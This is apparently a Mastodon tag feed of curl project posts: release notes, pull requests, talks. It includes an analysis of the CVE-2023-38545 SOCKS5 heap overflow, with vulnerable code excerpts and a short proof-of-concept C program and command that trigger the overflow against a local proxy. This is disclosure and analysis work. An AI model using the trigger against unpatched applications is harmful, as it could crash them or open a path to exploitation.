Search
Items tagged with: curl
curl 8.4.0 with Daniel Stenberg
Daniel walks through the significant security fixes, changes and bugfixes done in the curl 8.4.0 release.0:00 intro0:16 agenda0:52 release 2521:02 participat...YouTube
Why did the #curl #CVE202338545 vulnerability hide from static analysis tools?
The main reason for this is the type of code structure in question. In general state engines are quite difficult for static analysis tools, since as the name implies the state of the various variables depend on runtime state changes.
The code attempts to determine whether it is safe to use the provided host name for remote resolution. Since the code does not function correctly with host names longer than 255 characters, it falls back to using “socks5://” protocol (local name resolution) if the host name is longer. When the name is too long, the code forces “local name resolution” by setting “socks5_resolve_local” variable to TRUE.
Unfortunately this “socks5_resolve_local” variable isn’t stored in the “socks_state” structure as it should have been. For each state “step” the initial value for the variable is determined with:
bool socks5_resolve_local =
(conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;
The INIT state then set the “socks5_resolve_local” to TRUE if the host name is too long:
/* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */
if(!socks5_resolve_local && hostname_len > 255) {
infof(data, "SOCKS5: server resolving disabled for hostnames of "
"length > 255 [actual len=%zu]", hostname_len);
socks5_resolve_local = TRUE;
}
But this check is *only* done in INIT state. When the state is anything else, the initial value is used.
Now, later CONNECT_RESOLVE_REMOTE state checks if remote name resolution should be used or not:
if(!socks5_resolve_local) {
if (… sx->hostname is literal IPv6 address …) {
… use ipv6 address direct …
}
else if (… sx->hostname is literal IPv4 address …) {
… use ipv4 address direct …
}
else {
socksreq[len++] = 3;
socksreq[len++] = (char) hostname_len; /* one byte address length */
memcpy(&socksreq[len], sx->hostname, hostname_len); /* w/o NULL */
len += hostname_len;
}
}
As “socks5_resolve_local” flag is FALSE for the excessively long hostname the “socksreq” heap buffer will be overflown by the memcpy call.
There is no obvious way for the static analysis tools to determine that “socks5_resolve_local” might be set incorrectly for some of the states. Runtime #fuzzing will find this flaw quite easily, but unfortunately no fuzzing was performed for this specific functionality.
curlhacker - Twitch
I'm Daniel Stenberg, maintainer and lead developer in the curl project. I stream curl related stuff. Release presentations, curl development and related topics.Twitch
Here’s a quick proof of concept to reproduce the #curl #CVE202338545 #heapoverflow #vulnerability. This PoC expects localhost to run a #socks5 proxy:
gcc -xc -fsanitize=address - -lcurl <<EOF
# include <curl/curl.h>
# include <string.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(curl) {
char url[32768];
memcpy(url, "https://", 8);
memset(url + 8, 'A', sizeof(url) - 8 - 1);
url[sizeof(url) - 1] = '\0';
curl_easy_setopt(curl, CURLOPT_URL, url);
(void)curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
return 0;
}
EOF
https_proxy=socks5h://127.0.0.1 ./a.out
Some comments:
• Application must use socks5h proxy to be vulnerable (it can be via proxy env variables or by explicitly settings the proxy options inside the app).
• Application must either fetch the attacker provided URL or follow redirects controlled by the attacker.
• Exploitation is made slightly more complicated due to this being a heap buffer overflow (many libc have built-in heap sanity checks). On modern systems with address space layout randomization (ASLR) an additional information leak is likely required for successful exploitation.
• Certain combinations of libcurl, platform and/or application options are not affected. See the advisory at curl.se/docs/CVE-2023-38545.ht… for more details.
"Most usage of #curl is as a command-line utility"
I would not have put it that way...
theregister.com/2023/10/10/cur…
Fresh curl tomorrow will patch 'worst' security flaw in ages
It’s bad, folks. Pair of CVEs incoming on October 11Richard Speed (The Register)
If you're just Saturday Mastodoning and missed it before, we ship #curl 8.4.0 on Wednesday including a high severity vulnerability fix.
github.com/curl/curl/discussio…
Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11 · curl/curl · Discussion #12026
We are cutting the release cycle short and will release curl 8.4.0 on October 11, including fixes for a severity HIGH CVE and one severity LOW. The one rated HIGH is probably the worst curl securit...GitHub
cURL: Infos zu "schlimmster Sicherheitslücke seit Langem" kommen am 11. Oktober
Der Gründer des cURL-Projekts kündigt die Veröffentlichung von Infos zu einer schweren Lücke in den Web-Requests-Tools für den kommenden Mittwoch an.Dr. Christopher Kunz (heise online)
I think an entry on curl.se/news.html should notify about the upcoming important release.
I originally went there to find out at which time on October the fix will be released. Can you at least name a time window?
#curl
If you've seen in the PR for #ECH in #curl and been curious what it is? github.com/curl/curl/pull/1192…
The browsers go all-in on it. Now #Firefox:
blog.mozilla.org/en/products/f…
Say (an encrypted) hello to a more private internet.
As web users, what we say and do online is subject to pervasive surveillance. Although we typically associate online tracking with ad networks and other thSarah Vasquez (The Mozilla Blog)
tests: Fix zombie processes left behind by FTP tests. by Herdinger · Pull Request #12020 · curl/curl
ftpserver.pl correctly cleans up spawned server processes, but forgets to wait for the shell used to spawn them. This is barely noticeable during a normal testrun, but causes process exhaustion and...GitHub
Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11 · curl/curl · Discussion #12026
We are cutting the release cycle short and will release curl 8.4.0 on October 11, including fixes for a severity HIGH CVE and one severity LOW. The one rated HIGH is probably the worst curl securit...GitHub
nordicapis.com/interview-with-…
Interview With curl Founder Daniel Stenberg | Nordic APIs |
We ask Daniel Stenberg about the evolution of the Internet, the origins of curl, the open-source movement, his thoughts on Web3, and more...Bill Doerrfeld (Nordic APIs)
Today might be a good day to remind everyone that I can work on #curl full-time thanks to customers paying for support.
Today in my #inbox: someone emailed me the full #curl license text. With nothing extra. Just the exact text also found here: github.com/curl/curl/blob/mast…
Thank you!
youtu.be/V5vZWHP-RqU
Mastering the curl command line with Daniel Stenberg
The slides = https://www.slideshare.net/DanielStenberg7/mastering-the-curl-command-linepdf0:00 Mastering the curl command line0:16 Daniel Stenberg0:36 curl s...YouTube
The Internet Bug Bounty is the organization that funds all #curl bounties.
hackerone.com/internet-bug-bou…
The Internet Bug Bounty | HackerOne
The Internet Bug Bounty is a program for core net infrastructure & open source software. We reward hackers who uncover security vulnerabilities. Learn more!HackerOne
Daniel Stenberg
I talk about curl, open source, networking and stuff like that from my view and angle from my home in Stockholm, Sweden. I'm the lead developer of curl. I'm occasionally live-streaming curl development on twitch: https://www.twitch.YouTube
curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it · Issue #11475 · curl/curl
I ran a docker image to install RUN mkdir github-action-runner && cd github-action-runner && curl -O -L https://github.com/actions/runner/releases/download/v2.305.0/actions-runner-linux-x64-2.305.0...GitHub
curl.1 problem: missing link by jhauga · Pull Request #11464 · curl/curl
Resolves curl-www #270GitHub
curlhacker - Twitch
I'm Daniel Stenberg, maintainer and lead developer in the curl project. I stream curl related stuff. Release presentations, curl development and related topics.Twitch
Say hi to #curl 8.2.0 => daniel.haxx.se/blog/2023/07/19…
5 changes. 122 bugfixes. One security fix: CVE-2023-32001
wolfssl: Detect when TLS 1.2 support is not built into wolfssl by darktohka · Pull Request #11444 · curl/curl
Right now, when building curl with a wolfssl build that has TLS 1.2 disabled, the build fails with curl trying to find the TLSv1_2_client_method symbol. This PR adds a compile-time check to see if ...GitHub
I plan to do the definite "learning #curl the command line tool" video class on August 31: gist.github.com/bagder/253a236…
The agenda is still work in progress. I hope there's nothing obvious missing there?
Master curl in two hours. A video course by Daniel
Master curl in two hours. A video course by Daniel - curl-in-two-hours-agenda.mdGist
Bump nghttp2 from 1.55.0 to 1.55.1 by GrahamCampbell · Pull Request #11442 · curl/curl
See nghttp2/nghttp2#1930 for changes.GitHub
New Protocol: Gemini by jecxjo · Pull Request #11170 · curl/curl
A command line tool and library for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP, WS…GitHub
I'm looking for someone who wants to implement this callback for #curl #websocket support: github.com/curl/curl/issues/11…
It might be the last missing feature before we can enable it (the websocket API) by default.
Websocket message callback is not called on connect · Issue #11402 · curl/curl
I did this I started with the websocket-cb example and connected to an echo websocket server for testing. I expected the following I expected the data callback to be called once the connection is e...GitHub
Secure transport: fix busy loop on EOF read by Natris · Pull Request #11427 · curl/curl
if EOF happens, socket is readable, SSLHandshake calls bio_cf_in_read; which interprets nread == 0 as errSSLWouldBlock, which leads to busy loop until timeout occurs or possibly write fails. I have...GitHub